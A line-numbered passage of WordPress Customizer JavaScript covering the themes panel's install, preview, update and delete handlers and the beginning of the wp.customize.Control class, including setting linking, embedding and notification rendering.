3084 // Temporary since supplying SFTP credentials does not work yet. See #42184.
3085 if ( api.settings.theme._canInstall && api.settings.theme._filesystemCredentialsNeeded ) {
3086 panel.notifications.add( new api.Notification( 'theme_install_unavailable', {
3087 message: api.l10n.themeInstallUnavailable,
3088 type: 'info',
3089 dismissible: true
3090 } ) );
3091 }
3092
3093 function toggleDisabledNotifications() {
3094 if ( panel.canSwitchTheme() ) {
3095 panel.notifications.remove( 'theme_switch_unavailable' );
3096 } else {
3097 panel.notifications.add( new api.Notification( 'theme_switch_unavailable', {
3098 message: api.l10n.themePreviewUnavailable,
3099 type: 'warning'
3100 } ) );
3101 }
3102 }
3103 toggleDisabledNotifications();
3104 api.state( 'selectedChangesetStatus' ).bind( toggleDisabledNotifications );
3105 api.state( 'changesetStatus' ).bind( toggleDisabledNotifications );
3106
3107 // Collapse panel to customize the current theme.
3108 panel.contentContainer.on( 'click', '.customize-theme', function() {
3109 panel.collapse();
3110 });
3111
3112 // Toggle between filtering and browsing themes on mobile.
3113 panel.contentContainer.on( 'click', '.customize-themes-section-title, .customize-themes-mobile-back', function() {
3114 $( '.wp-full-overlay' ).toggleClass( 'showing-themes' );
3115 });
3116
3117 // Install (and maybe preview) a theme.
3118 panel.contentContainer.on( 'click', '.theme-install', function( event ) {
3119 panel.installTheme( event );
3120 });
3121
3122 // Update a theme. Theme cards have the class, the details modal has the id.
3123 panel.contentContainer.on( 'click', '.update-theme, #update-theme', function( event ) {
3124
3125 // #update-theme is a link.
3126 event.preventDefault();
3127 event.stopPropagation();
3128
3129 panel.updateTheme( event );
3130 });
3131
3132 // Delete a theme.
3133 panel.contentContainer.on( 'click', '.delete-theme', function( event ) {
3134 panel.deleteTheme( event );
3135 });
3136
3137 _.bindAll( panel, 'installTheme', 'updateTheme' );
3138 },
3139
3140 /**
3141 * Update UI to reflect expanded state
3142 *
3143 * @since 4.9.0
3144 *
3145 * @param {boolean} expanded - Expanded state.
3146 * @param {Object} args - Args.
3147 * @param {boolean} args.unchanged - Whether or not the state changed.
3148 * @param {Function} args.completeCallback - Callback to execute when the animation completes.
3149 * @return {void}
3150 */
3151 onChangeExpanded: function( expanded, args ) {
3152 var panel = this, overlay, sections, hasExpandedSection = false;
3153
3154 // Expand/collapse the panel normally.
3155 api.Panel.prototype.onChangeExpanded.apply( this, [ expanded, args ] );
3156
3157 // Immediately call the complete callback if there were no changes.
3158 if ( args.unchanged ) {
3159 if ( args.completeCallback ) {
3160 args.completeCallback();
3161 }
3162 return;
3163 }
3164
3165 overlay = panel.headContainer.closest( '.wp-full-overlay' );
3166
3167 if ( expanded ) {
3168 overlay
3169 .addClass( 'in-themes-panel' )
3170 .delay( 200 ).find( '.customize-themes-full-container' ).addClass( 'animate' );
3171
3172 _.delay( function() {
3173 overlay.addClass( 'themes-panel-expanded' );
3174 }, 200 );
3175
3176 // Automatically open the first section (except on small screens), if one isn't already expanded.
3177 if ( 600 < window.innerWidth ) {
3178 sections = panel.sections();
3179 _.each( sections, function( section ) {
3180 if ( section.expanded() ) {
3181 hasExpandedSection = true;
3182 }
3183 } );
3184 if ( ! hasExpandedSection && sections.length > 0 ) {
3185 sections[0].expand();
3186 }
3187 }
3188 } else {
3189 overlay
3190 .removeClass( 'in-themes-panel themes-panel-expanded' )
3191 .find( '.customize-themes-full-container' ).removeClass( 'animate' );
3192 }
3193 },
3194
3195 /**
3196 * Install a theme via wp.updates.
3197 *
3198 * @since 4.9.0
3199 *
3200 * @param {jQuery.Event} event - Event.
3201 * @return {jQuery.promise} Promise.
3202 */
3203 installTheme: function( event ) {
3204 var panel = this, preview, onInstallSuccess, slug = $( event.target ).data( 'slug' ), deferred = $.Deferred(), request;
3205 preview = $( event.target ).hasClass( 'preview' );
3206
3207 // Temporary since supplying SFTP credentials does not work yet. See #42184.
3208 if ( api.settings.theme._filesystemCredentialsNeeded ) {
3209 deferred.reject({
3210 errorCode: 'theme_install_unavailable'
3211 });
3212 return deferred.promise();
3213 }
3214
3215 // Prevent loading a non-active theme preview when there is a drafted/scheduled changeset.
3216 if ( ! panel.canSwitchTheme( slug ) ) {
3217 deferred.reject({
3218 errorCode: 'theme_switch_unavailable'
3219 });
3220 return deferred.promise();
3221 }
3222
3223 // Theme is already being installed.
3224 if ( _.contains( panel.installingThemes, slug ) ) {
3225 deferred.reject({
3226 errorCode: 'theme_already_installing'
3227 });
3228 return deferred.promise();
3229 }
3230
3231 wp.updates.maybeRequestFilesystemCredentials( event );
3232
3233 onInstallSuccess = function( response ) {
3234 var theme = false, themeControl;
3235 if ( preview ) {
3236 api.notifications.remove( 'theme_installing' );
3237
3238 panel.loadThemePreview( slug );
3239
3240 } else {
3241 api.control.each( function( control ) {
3242 if ( 'theme' === control.params.type && control.params.theme.id === response.slug ) {
3243 theme = control.params.theme; // Used below to add theme control.
3244 control.rerenderAsInstalled( true );
3245 }
3246 });
3247
3248 // Don't add the same theme more than once.
3249 if ( ! theme || api.control.has( 'installed_theme_' + theme.id ) ) {
3250 deferred.resolve( response );
3251 return;
3252 }
3253
3254 // Add theme control to installed section.
3255 theme.type = 'installed';
3256 themeControl = new api.controlConstructor.theme( 'installed_theme_' + theme.id, {
3257 type: 'theme',
3258 section: 'installed_themes',
3259 theme: theme,
3260 priority: 0 // Add all newly-installed themes to the top.
3261 } );
3262
3263 api.control.add( themeControl );
3264 api.control( themeControl.id ).container.trigger( 'render-screenshot' );
3265
3266 // Close the details modal if it's open to the installed theme.
3267 api.section.each( function( section ) {
3268 if ( 'themes' === section.params.type ) {
3269 if ( theme.id === section.currentTheme ) { // Don't close the modal if the user has navigated elsewhere.
3270 section.closeDetails();
3271 }
3272 }
3273 });
3274 }
3275 deferred.resolve( response );
3276 };
3277
3278 panel.installingThemes.push( slug ); // Note: we don't remove elements from installingThemes, since they shouldn't be installed again.
3279 request = wp.updates.installTheme( {
3280 slug: slug
3281 } );
3282
3283 // Also preview the theme as the event is triggered on Install & Preview.
3284 if ( preview ) {
3285 api.notifications.add( new api.OverlayNotification( 'theme_installing', {
3286 message: api.l10n.themeDownloading,
3287 type: 'info',
3288 loading: true
3289 } ) );
3290 }
3291
3292 request.done( onInstallSuccess );
3293 request.fail( function() {
3294 api.notifications.remove( 'theme_installing' );
3295 } );
3296
3297 return deferred.promise();
3298 },
3299
3300 /**
3301 * Load theme preview.
3302 *
3303 * @since 4.9.0
3304 *
3305 * @param {string} themeId Theme ID.
3306 * @return {jQuery.promise} Promise.
3307 */
3308 loadThemePreview: function( themeId ) {
3309 var panel = this, deferred = $.Deferred(), onceProcessingComplete, urlParser, queryParams;
3310
3311 // Prevent loading a non-active theme preview when there is a drafted/scheduled changeset.
3312 if ( ! panel.canSwitchTheme( themeId ) ) {
3313 deferred.reject({
3314 errorCode: 'theme_switch_unavailable'
3315 });
3316 return deferred.promise();
3317 }
3318
3319 urlParser = document.createElement( 'a' );
3320 urlParser.href = location.href;
3321 queryParams = _.extend(
3322 api.utils.parseQueryString( urlParser.search.substr( 1 ) ),
3323 {
3324 theme: themeId,
3325 changeset_uuid: api.settings.changeset.uuid,
3326 'return': api.settings.url['return']
3327 }
3328 );
3329
3330 // Include autosaved param to load autosave revision without prompting user to restore it.
3331 if ( ! api.state( 'saved' ).get() ) {
3332 queryParams.customize_autosaved = 'on';
3333 }
3334
3335 urlParser.search = $.param( queryParams );
3336
3337 // Update loading message. Everything else is handled by reloading the page.
3338 api.notifications.add( new api.OverlayNotification( 'theme_previewing', {
3339 message: api.l10n.themePreviewWait,
3340 type: 'info',
3341 loading: true
3342 } ) );
3343
3344 onceProcessingComplete = function() {
3345 var request;
3346 if ( api.state( 'processing' ).get() > 0 ) {
3347 return;
3348 }
3349
3350 api.state( 'processing' ).unbind( onceProcessingComplete );
3351
3352 request = api.requestChangesetUpdate( {}, { autosave: true } );
3353 request.done( function() {
3354 deferred.resolve();
3355 $( window ).off( 'beforeunload.customize-confirm' );
3356 location.replace( urlParser.href );
3357 } );
3358 request.fail( function() {
3359
3360 // @todo Show notification regarding failure.
3361 api.notifications.remove( 'theme_previewing' );
3362
3363 deferred.reject();
3364 } );
3365 };
3366
3367 if ( 0 === api.state( 'processing' ).get() ) {
3368 onceProcessingComplete();
3369 } else {
3370 api.state( 'processing' ).bind( onceProcessingComplete );
3371 }
3372
3373 return deferred.promise();
3374 },
3375
3376 /**
3377 * Update a theme via wp.updates.
3378 *
3379 * @since 4.9.0
3380 *
3381 * @param {jQuery.Event} event - Event.
3382 * @return {void}
3383 */
3384 updateTheme: function( event ) {
3385 wp.updates.maybeRequestFilesystemCredentials( event );
3386
3387 $( document ).one( 'wp-theme-update-success', function( e, response ) {
3388
3389 // Rerender the control to reflect the update.
3390 api.control.each( function( control ) {
3391 if ( 'theme' === control.params.type && control.params.theme.id === response.slug ) {
3392 control.params.theme.hasUpdate = false;
3393 control.params.theme.version = response.newVersion;
3394 setTimeout( function() {
3395 control.rerenderAsInstalled( true );
3396 }, 2000 );
3397 }
3398 });
3399 } );
3400
3401 wp.updates.updateTheme( {
3402 slug: $( event.target ).closest( '.notice' ).data( 'slug' )
3403 } );
3404 },
3405
3406 /**
3407 * Delete a theme via wp.updates.
3408 *
3409 * @since 4.9.0
3410 *
3411 * @param {jQuery.Event} event - Event.
3412 * @return {void}
3413 */
3414 deleteTheme: function( event ) {
3415 var theme, section;
3416 theme = $( event.target ).data( 'slug' );
3417 section = api.section( 'installed_themes' );
3418
3419 event.preventDefault();
3420
3421 // Temporary since supplying SFTP credentials does not work yet. See #42184.
3422 if ( api.settings.theme._filesystemCredentialsNeeded ) {
3423 return;
3424 }
3425
3426 // Confirmation dialog for deleting a theme.
3427 if ( ! window.confirm( api.settings.l10n.confirmDeleteTheme ) ) {
3428 return;
3429 }
3430
3431 wp.updates.maybeRequestFilesystemCredentials( event );
3432
3433 $( document ).one( 'wp-theme-delete-success', function() {
3434 var control = api.control( 'installed_theme_' + theme );
3435
3436 // Remove theme control.
3437 control.container.remove();
3438 api.control.remove( control.id );
3439
3440 // Update installed count.
3441 section.loaded = section.loaded - 1;
3442 section.updateCount();
3443
3444 // Rerender any other theme controls as uninstalled.
3445 api.control.each( function( control ) {
3446 if ( 'theme' === control.params.type && control.params.theme.id === theme ) {
3447 control.rerenderAsInstalled( false );
3448 }
3449 });
3450 } );
3451
3452 wp.updates.deleteTheme( {
3453 slug: theme
3454 } );
3455
3456 // Close modal and focus the section.
3457 section.closeDetails();
3458 section.focus();
3459 }
3460 });
3461
3462 api.Control = api.Class.extend(/** @lends wp.customize.Control.prototype */{
3463 defaultActiveArguments: { duration: 'fast', completeCallback: $.noop },
3464
3465 /**
3466 * Default params.
3467 *
3468 * @since 4.9.0
3469 * @var {object}
3470 */
3471 defaults: {
3472 label: '',
3473 description: '',
3474 active: true,
3475 priority: 10
3476 },
3477
3478 /**
3479 * A Customizer Control.
3480 *
3481 * A control provides a UI element that allows a user to modify a Customizer Setting.
3482 *
3483 * @see PHP class WP_Customize_Control.
3484 *
3485 * @constructs wp.customize.Control
3486 * @augments wp.customize.Class
3487 *
3488 * @borrows wp.customize~focus as this#focus
3489 * @borrows wp.customize~Container#activate as this#activate
3490 * @borrows wp.customize~Container#deactivate as this#deactivate
3491 * @borrows wp.customize~Container#_toggleActive as this#_toggleActive
3492 *
3493 * @param {string} id - Unique identifier for the control instance.
3494 * @param {Object} options - Options hash for the control instance.
3495 * @param {Object} options.type - Type of control (e.g. text, radio, dropdown-pages, etc.)
3496 * @param {string} [options.content] - The HTML content for the control or at least its container. This should normally be left blank and instead supplying a templateId.
3497 * @param {string} [options.templateId] - Template ID for control's content.
3498 * @param {string} [options.priority=10] - Order of priority to show the control within the section.
3499 * @param {string} [options.active=true] - Whether the control is active.
3500 * @param {string} options.section - The ID of the section the control belongs to.
3501 * @param {mixed} [options.setting] - The ID of the main setting or an instance of this setting.
3502 * @param {mixed} options.settings - An object with keys (e.g. default) that maps to setting IDs or Setting/Value objects, or an array of setting IDs or Setting/Value objects.
3503 * @param {mixed} options.settings.default - The ID of the setting the control relates to.
3504 * @param {string} options.settings.data - @todo Is this used?
3505 * @param {string} options.label - Label.
3506 * @param {string} options.description - Description.
3507 * @param {number} [options.instanceNumber] - Order in which this instance was created in relation to other instances.
3508 * @param {Object} [options.params] - Deprecated wrapper for the above properties.
3509 * @return {void}
3510 */
3511 initialize: function( id, options ) {
3512 var control = this, deferredSettingIds = [], settings, gatherSettings;
3513
3514 control.params = _.extend(
3515 {},
3516 control.defaults,
3517 control.params || {}, // In case subclass already defines.
3518 options.params || options || {} // The options.params property is deprecated, but it is checked first for back-compat.
3519 );
3520
3521 if ( ! api.Control.instanceCounter ) {
3522 api.Control.instanceCounter = 0;
3523 }
3524 api.Control.instanceCounter++;
3525 if ( ! control.params.instanceNumber ) {
3526 control.params.instanceNumber = api.Control.instanceCounter;
3527 }
3528
3529 // Look up the type if one was not supplied.
3530 if ( ! control.params.type ) {
3531 _.find( api.controlConstructor, function( Constructor, type ) {
3532 if ( Constructor === control.constructor ) {
3533 control.params.type = type;
3534 return true;
3535 }
3536 return false;
3537 } );
3538 }
3539
3540 if ( ! control.params.content ) {
3541 control.params.content = $( '<li></li>', {
3542 id: 'customize-control-' + id.replace( /]/g, '' ).replace( /\[/g, '-' ),
3543 'class': 'customize-control customize-control-' + control.params.type
3544 } );
3545 }
3546
3547 control.id = id;
3548 control.selector = '#customize-control-' + id.replace( /\]/g, '' ).replace( /\[/g, '-' ); // Deprecated, likely dead code from time before #28709.
3549 if ( control.params.content ) {
3550 control.container = $( control.params.content );
3551 } else {
3552 control.container = $( control.selector ); // Likely dead, per above. See #28709.
3553 }
3554
3555 if ( control.params.templateId ) {
3556 control.templateSelector = control.params.templateId;
3557 } else {
3558 control.templateSelector = 'customize-control-' + control.params.type + '-content';
3559 }
3560
3561 control.deferred = _.extend( control.deferred || {}, {
3562 embedded: new $.Deferred()
3563 } );
3564 control.section = new api.Value();
3565 control.priority = new api.Value();
3566 control.active = new api.Value();
3567 control.activeArgumentsQueue = [];
3568 control.notifications = new api.Notifications({
3569 alt: control.altNotice
3570 });
3571
3572 control.elements = [];
3573
3574 control.active.bind( function ( active ) {
3575 var args = control.activeArgumentsQueue.shift();
3576 args = $.extend( {}, control.defaultActiveArguments, args );
3577 control.onChangeActive( active, args );
3578 } );
3579
3580 control.section.set( control.params.section );
3581 control.priority.set( isNaN( control.params.priority ) ? 10 : control.params.priority );
3582 control.active.set( control.params.active );
3583
3584 api.utils.bubbleChildValueChanges( control, [ 'section', 'priority', 'active' ] );
3585
3586 control.settings = {};
3587
3588 settings = {};
3589 if ( control.params.setting ) {
3590 settings['default'] = control.params.setting;
3591 }
3592 _.extend( settings, control.params.settings );
3593
3594 // Note: Settings can be an array or an object, with values being either setting IDs or Setting (or Value) objects.
3595 _.each( settings, function( value, key ) {
3596 var setting;
3597 if ( _.isObject( value ) && _.isFunction( value.extended ) && value.extended( api.Value ) ) {
3598 control.settings[ key ] = value;
3599 } else if ( _.isString( value ) ) {
3600 setting = api( value );
3601 if ( setting ) {
3602 control.settings[ key ] = setting;
3603 } else {
3604 deferredSettingIds.push( value );
3605 }
3606 }
3607 } );
3608
3609 gatherSettings = function() {
3610
3611 // Fill-in all resolved settings.
3612 _.each( settings, function ( settingId, key ) {
3613 if ( ! control.settings[ key ] && _.isString( settingId ) ) {
3614 control.settings[ key ] = api( settingId );
3615 }
3616 } );
3617
3618 // Make sure settings passed as array gets associated with default.
3619 if ( control.settings[0] && ! control.settings['default'] ) {
3620 control.settings['default'] = control.settings[0];
3621 }
3622
3623 // Identify the main setting.
3624 control.setting = control.settings['default'] || null;
3625
3626 control.linkElements(); // Link initial elements present in server-rendered content.
3627 control.embed();
3628 };
3629
3630 if ( 0 === deferredSettingIds.length ) {
3631 gatherSettings();
3632 } else {
3633 api.apply( api, deferredSettingIds.concat( gatherSettings ) );
3634 }
3635
3636 // After the control is embedded on the page, invoke the "ready" method.
3637 control.deferred.embedded.done( function () {
3638 control.linkElements(); // Link any additional elements after template is rendered by renderContent().
3639 control.setupNotifications();
3640 control.ready();
3641 });
3642 },
3643
3644 /**
3645 * Link elements between settings and inputs.
3646 *
3647 * @since 4.7.0
3648 * @access public
3649 *
3650 * @return {void}
3651 */
3652 linkElements: function () {
3653 var control = this, nodes, radios, element;
3654
3655 nodes = control.container.find( '[data-customize-setting-link], [data-customize-setting-key-link]' );
3656 radios = {};
3657
3658 nodes.each( function () {
3659 var node = $( this ), name, setting;
3660
3661 if ( node.data( 'customizeSettingLinked' ) ) {
3662 return;
3663 }
3664 node.data( 'customizeSettingLinked', true ); // Prevent re-linking element.
3665
3666 if ( node.is( ':radio' ) ) {
3667 name = node.prop( 'name' );
3668 if ( radios[name] ) {
3669 return;
3670 }
3671
3672 radios[name] = true;
3673 node = nodes.filter( '[name="' + name + '"]' );
3674 }
3675
3676 // Let link by default refer to setting ID. If it doesn't exist, fallback to looking up by setting key.
3677 if ( node.data( 'customizeSettingLink' ) ) {
3678 setting = api( node.data( 'customizeSettingLink' ) );
3679 } else if ( node.data( 'customizeSettingKeyLink' ) ) {
3680 setting = control.settings[ node.data( 'customizeSettingKeyLink' ) ];
3681 }
3682
3683 if ( setting ) {
3684 element = new api.Element( node );
3685 control.elements.push( element );
3686 element.sync( setting );
3687 element.set( setting() );
3688 }
3689 } );
3690 },
3691
3692 /**
3693 * Embed the control into the page.
3694 */
3695 embed: function () {
3696 var control = this,
3697 inject;
3698
3699 // Watch for changes to the section state.
3700 inject = function ( sectionId ) {
3701 var parentContainer;
3702 if ( ! sectionId ) { // @todo Allow a control to be embedded without a section, for instance a control embedded in the front end.
3703 return;
3704 }
3705 // Wait for the section to be registered.
3706 api.section( sectionId, function ( section ) {
3707 // Wait for the section to be ready/initialized.
3708 section.deferred.embedded.done( function () {
3709 parentContainer = ( section.contentContainer.is( 'ul' ) ) ? section.contentContainer : section.contentContainer.find( 'ul:first' );
3710 if ( ! control.container.parent().is( parentContainer ) ) {
3711 parentContainer.append( control.container );
3712 }
3713 control.renderContent();
3714 control.deferred.embedded.resolve();
3715 });
3716 });
3717 };
3718 control.section.bind( inject );
3719 inject( control.section.get() );
3720 },
3721
3722 /**
3723 * Triggered when the control's markup has been injected into the DOM.
3724 *
3725 * @return {void}
3726 */
3727 ready: function() {
3728 var control = this, newItem;
3729 if ( 'dropdown-pages' === control.params.type && control.params.allow_addition ) {
3730 newItem = control.container.find( '.new-content-item-wrapper' );
3731 newItem.hide(); // Hide in JS to preserve flex display when showing.
3732 control.container.on( 'click', '.add-new-toggle', function( e ) {
3733 $( e.currentTarget ).slideUp( 180 );
3734 newItem.slideDown( 180 );
3735 newItem.find( '.create-item-input' ).focus();
3736 });
3737 control.container.on( 'click', '.add-content', function() {
3738 control.addNewPage();
3739 });
3740 control.container.on( 'keydown', '.create-item-input', function( e ) {
3741 if ( 13 === e.which ) { // Enter.
3742 control.addNewPage();
3743 }
3744 });
3745 }
3746 },
3747
3748 /**
3749 * Get the element inside of a control's container that contains the validation error message.
3750 *
3751 * Control subclasses may override this to return the proper container to render notifications into.
3752 * Injects the notification container for existing controls that lack the necessary container,
3753 * including special handling for nav menu items and widgets.
3754 *
3755 * @since 4.6.0
3756 * @return {jQuery} Setting validation message element.
3757 */
3758 getNotificationsContainerElement: function() {
3759 var control = this, controlTitle, notificationsContainer;
3760
3761 notificationsContainer = control.container.find( '.customize-control-notifications-container:first' );
3762 if ( notificationsContainer.length ) {
3763 return notificationsContainer;
3764 }
3765
3766 notificationsContainer = $( '<div class="customize-control-notifications-container"></div>' );
3767
3768 if ( control.container.hasClass( 'customize-control-nav_menu_item' ) ) {
3769 control.container.find( '.menu-item-settings:first' ).prepend( notificationsContainer );
3770 } else if ( control.container.hasClass( 'customize-control-widget_form' ) ) {
3771 control.container.find( '.widget-inside:first' ).prepend( notificationsContainer );
3772 } else {
3773 controlTitle = control.container.find( '.customize-control-title' );
3774 if ( controlTitle.length ) {
3775 controlTitle.after( notificationsContainer );
3776 } else {
3777 control.container.prepend( notificationsContainer );
3778 }
3779 }
3780 return notificationsContainer;
3781 },
3782
3783 /**
3784 * Set up notifications.
3785 *
3786 * @since 4.9.0
3787 * @return {void}
3788 */
3789 setupNotifications: function() {
3790 var control = this, renderNotificationsIfVisible, onSectionAssigned;
3791
3792 // Add setting notifications to the control notification.
3793 _.each( control.settings, function( setting ) {
3794 if ( ! setting.notifications ) {
3795 return;
3796 }
3797 setting.notifications.bind( 'add', function( settingNotification ) {
3798 var params = _.extend(
3799 {},
3800 settingNotification,
3801 {
3802 setting: setting.id
3803 }
3804 );
3805 control.notifications.add( new api.Notification( setting.id + ':' + settingNotification.code, params ) );
3806 } );
3807 setting.notifications.bind( 'remove', function( settingNotification ) {
3808 control.notifications.remove( setting.id + ':' + settingNotification.code );
3809 } );
3810 } );
3811
3812 renderNotificationsIfVisible = function() {
3813 var sectionId = control.section();
3814 if ( ! sectionId || ( api.section.has( sectionId ) && api.section( sectionId ).expanded() ) ) {
3815 control.notifications.render();
3816 }
3817 };
3818
3819 control.notifications.bind( 'rendered', function() {
3820 var notifications = control.notifications.get();
3821 control.container.toggleClass( 'has-notifications', 0 !== notifications.length );
3822 control.container.toggleClass( 'has-error', 0 !== _.where( notifications, { type: 'error' } ).length );
3823 } );
3824
3825 onSectionAssigned = function( newSectionId, oldSectionId ) {
3826 if ( oldSectionId && api.section.has( oldSectionId ) ) {
3827 api.section( oldSectionId ).expanded.unbind( renderNotificationsIfVisible );
3828 }
3829 if ( newSectionId ) {
3830 api.section( newSectionId, function( section ) {
3831 section.expanded.bind( renderNotificationsIfVisible );
3832 renderNotificationsIfVisible();
3833 });
3834 }
3835 };
3836
3837 control.section.bind( onSectionAssigned );
3838 onSectionAssigned( control.section.get() );
3839 control.notifications.bind( 'change', _.debounce( renderNotificationsIfVisible ) );
3840 },
3841
3842 /**
3843 * Render notifications.
3844 *
3845 * Renders the `control.notifications` into the control's container.
3846 * Control subclasses may override this method to do their own handling
3847 * of rendering notifications.
3848 *
3849 * @deprecated in favor of `control.notifications.render()`
3850 * @since 4.6.0
3851 * @this {wp.customize.Control}
3852 */
3853 renderNotifications: function() {
3854 var control = this, container, notifications, hasError = false;
3855
3856 if ( 'undefined' !== typeof console && console.warn ) {
3857 console.warn( '[DEPRECATED] wp.customize.Control.prototype.renderNotifications() is deprecated in favor of instantiating a wp.customize.Notifications and calling its render() method.' );
3858 }
3859
3860 container = control.getNotificationsContainerElement();
3861 if ( ! container || ! container.length ) {
3862 return;
3863 }
3864 notifications = [];
3865 control.notifications.each( function( notification ) {
3866 notifications.push( notification );
3867 if ( 'error' === notification.type ) {
3868 hasError = true;
3869 }
3870 } );
3871
3872 if ( 0 === notifications.length ) {
3873 container.stop().slideUp( 'fast' );
3874 } else {
3875 container.stop().slideDown( 'fast', null, function() {
3876 $( this ).css( 'height', 'auto' );
3877 } );
3878 }
3879
3880 if ( ! control.notificationsTemplate ) {
3881 control.notificationsTemplate = wp.template( 'customize-control-notifications' );
3882 }
3883
3884 control.container.toggleClass( 'has-notifications', 0 !== notifications.length );
3885 control.container.toggleClass( 'has-error', hasError );
3886 container.empty().append(
3887 control.notificationsTemplate( { notifications: notifications, altNotice: Boolean( control.altNotice ) } ).trim()
3888 );
3889 },
3890
3891 /**
3892 * Normal controls do not expand, so just expand its parent
3893 *
3894 * @param {Object} [params]
3895 */
3896 expand: function ( params ) {
3897 api.section( this.section() ).expand( params );
3898 },
3899
3900 /*
3901 * Documented using @borrows in the constructor.
3902 */
3903 focus: focus,
3904
3905 /**
3906 * Update UI in response to a change in the control's active state.
3907 * This does not change the active state, it merely handles the behavior
3908 * for when it does change.
3909 *
3910 * @since 4.1.0
3911 *
3912 * @param {boolean} active
3913 * @param {Object} args
3914 * @param {number} args.duration
3915 * @param {Function} args.completeCallback
3916 */
3917 onChangeActive: function ( active, args ) {
3918 if ( args.unchanged ) {
3919 if ( args.completeCallback ) {
3920 args.completeCallback();
3921 }
3922 return;
3923 }
3924
3925 if ( ! $.contains( document, this.container[0] ) ) {
3926 // jQuery.fn.slideUp is not hiding an element if it is not in the DOM.
3927 this.container.toggle( active );
3928 if ( args.completeCallback ) {
3929 args.completeCallback();
3930 }
3931 } else if ( active ) {
3932 this.container.slideDown( args.duration, args.completeCallback );
3933 } else {
3934 this.container.slideUp( args.duration, args.completeCallback );
3935 }
3936 },
3937
3938 /**
3939 * @deprecated 4.1.0 Use this.onChangeActive() instead.
3940 */
3941 toggle: function ( active ) {
3942 return this.onChangeActive( active, this.defaultActiveArguments );
3943 },
3944
3945 /*
3946 * Documented using @borrows in the constructor
3947 */
3948 activate: Container.prototype.activate,
3949
3950 /*
3951 * Documented using @borrows in the constructor
3952 */
3953 deactivate: Container.prototype.deactivate,
3954
3955 /*
3956 * Documented using @borrows in the constructor
3957 */
3958 _toggleActive: Container.prototype._toggleActive,
3959
3960 // @todo This function appears to be dead code and can be removed.
3961 dropdownInit: function() {
3962 var control = this,
3963 statuses = this.container.find('.dropdown-status'),
3964 params = this.params,
3965 toggleFreeze = false,
3966 update = function( to ) {
3967 if ( 'string' === typeof to && params.statuses && params.statuses[ to ] ) {
3968 statuses.html( params.statuses[ to ] ).show();
3969 } else {
3970 statuses.hide();
3971 }
3972 };
3973
3974 // Support the .dropdown class to open/close complex elements.
3975 this.container.on( 'click keydown', '.dropdown', function( event ) {
3976 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
3977 return;
3978 }
3979
3980 event.preventDefault();
3981
3982 if ( ! toggleFreeze ) {
3983 control.container.toggleClass( 'open' );
3984 }
3985
3986 if ( control.container.hasClass( 'open' ) ) {
3987 control.container.parent().parent().find( 'li.library-selected' ).focus();
3988 }
3989
3990 // Don't want to fire focus and click at same time.
3991 toggleFreeze = true;
3992 setTimeout(function () {
3993 toggleFreeze = false;
3994 }, 400);
3995 });
3996
3997 this.setting.bind( update );
3998 update( this.setting() );
3999 },
4000
4001 /**
4002 * Render the control from its JS template, if it exists.
4003 *
4004 * The control's container must already exist in the DOM.
4005 *
4006 * @since 4.1.0
4007 */
4008 renderContent: function () {
4009 var control = this, template, standardTypes, templateId, sectionId;
4010
4011 standardTypes = [
4012 'button',
4013 'checkbox',
4014 'date',
4015 'datetime-local',
4016 'email',
4017 'month',
4018 'number',
4019 'password',
4020 'radio',
4021 'range',
4022 'search',
4023 'select',
4024 'tel',
4025 'time',
4026 'text',
4027 'textarea',
4028 'week',
4029 'url'
4030 ];
4031
4032 templateId = control.templateSelector;
4033
4034 // Use default content template when a standard HTML type is used,
4035 // there isn't a more specific template existing, and the control container is empty.
4036 if ( templateId === 'customize-control-' + control.params.type + '-content' &&
4037 _.contains( standardTypes, control.params.type ) &&
4038 ! document.getElementById( 'tmpl-' + templateId ) &&
4039 0 === control.container.children().length )
4040 {
4041 templateId = 'customize-control-default-content';
4042 }
4043
4044 // Replace the container element's content with the control.
4045 if ( document.getElementById( 'tmpl-' + templateId ) ) {
4046 template = wp.template( templateId );
4047 if ( template && control.container ) {
4048 control.container.html( template( control.params ) );
4049 }
4050 }
4051
4052 // Re-render notifications after content has been re-rendered.
4053 control.notifications.container = control.getNotificationsContainerElement();
4054 sectionId = control.section();
4055 if ( ! sectionId || ( api.section.has( sectionId ) && api.section( sectionId ).expanded() ) ) {
4056 control.notifications.render();
4057 }
4058 },
4059
4060 /**
4061 * Add a new page to a dropdown-pages control reusing menus code for this.
4062 *
4063 * @since 4.7.0
4064 * @access private
4065 *
4066 * @return {void}
4067 */
4068 addNewPage: function () {
4069 var control = this, promise, toggle, container, input, inputError, title, select;
4070
4071 if ( 'dropdown-pages' !== control.params.type || ! control.params.allow_addition || ! api.Menus ) {
4072 return;
4073 }
4074
4075 toggle = control.container.find( '.add-new-toggle' );
4076 container = control.container.find( '.new-content-item-wrapper' );
4077 input = control.container.find( '.create-item-input' );
4078 inputError = control.container.find('.create-item-error');
4079 title = input.val();
4080 select = control.container.find( 'select' );
4081
4082 if ( ! title ) {
4083 container.addClass( 'form-invalid' );
4084 input.attr('aria-invalid', 'true');
4085 input.attr('aria-describedby', inputError.attr('id'));
4086 inputError.slideDown( 'fast' );
4087 wp.a11y.speak( inputError.text() );
4088 return;
4089 }
4090
4091 container.removeClass( 'form-invalid' );
4092 input.attr('aria-invalid', 'false');
4093 input.removeAttr('aria-describedby');
4094 inputError.hide();
4095 input.attr( 'disabled', 'disabled' );
4096
4097 // The menus functions add the page, publish when appropriate,
4098 // and also add the new page to the dropdown-pages controls.
4099 promise = api.Menus.insertAutoDraftPost( {
4100 post_title: title,
4101 post_type: 'page'
4102 } );
4103 promise.done( function( data ) {
4104 var availableItem, $content, itemTemplate;
4105
4106 // Prepare the new page as an available menu item.
4107 // See api.Menus.submitNew().
4108 availableItem = new api.Menus.AvailableItemModel( {
4109 'id': 'post-' + data.post_id, // Used for available menu item Backbone models.
4110 'title': title,
4111 'type': 'post_type',
4112 'type_label': api.Menus.data.l10n.page_label,
4113 'object': 'page',
4114 'object_id': data.post_id,
4115 'url': data.url
4116 } );
4117
4118 // Add the new item to the list of available menu items.
4119 api.Menus.availableMenuItemsPanel.collection.add( availableItem );
4120 $content = $( '#available-menu-items-post_type-page' ).find( '.available-menu-items-list' );
4121 itemTemplate = wp.template( 'available-menu-item' );
4122 $content.prepend( itemTemplate( availableItem.attributes ) );
4123
4124 // Focus the select control.
4125 select.focus();
4126 control.setting.set( String( data.post_id ) ); // Triggers a preview refresh and updates the setting.
4127
4128 // Reset the create page form.
4129 container.slideUp( 180 );
4130 toggle.slideDown( 180 );
4131 } );
4132 promise.always( function() {
4133 input.val( '' ).removeAttr( 'disabled' );
4134 } );
4135 }
4136 });
4137
4138 /**
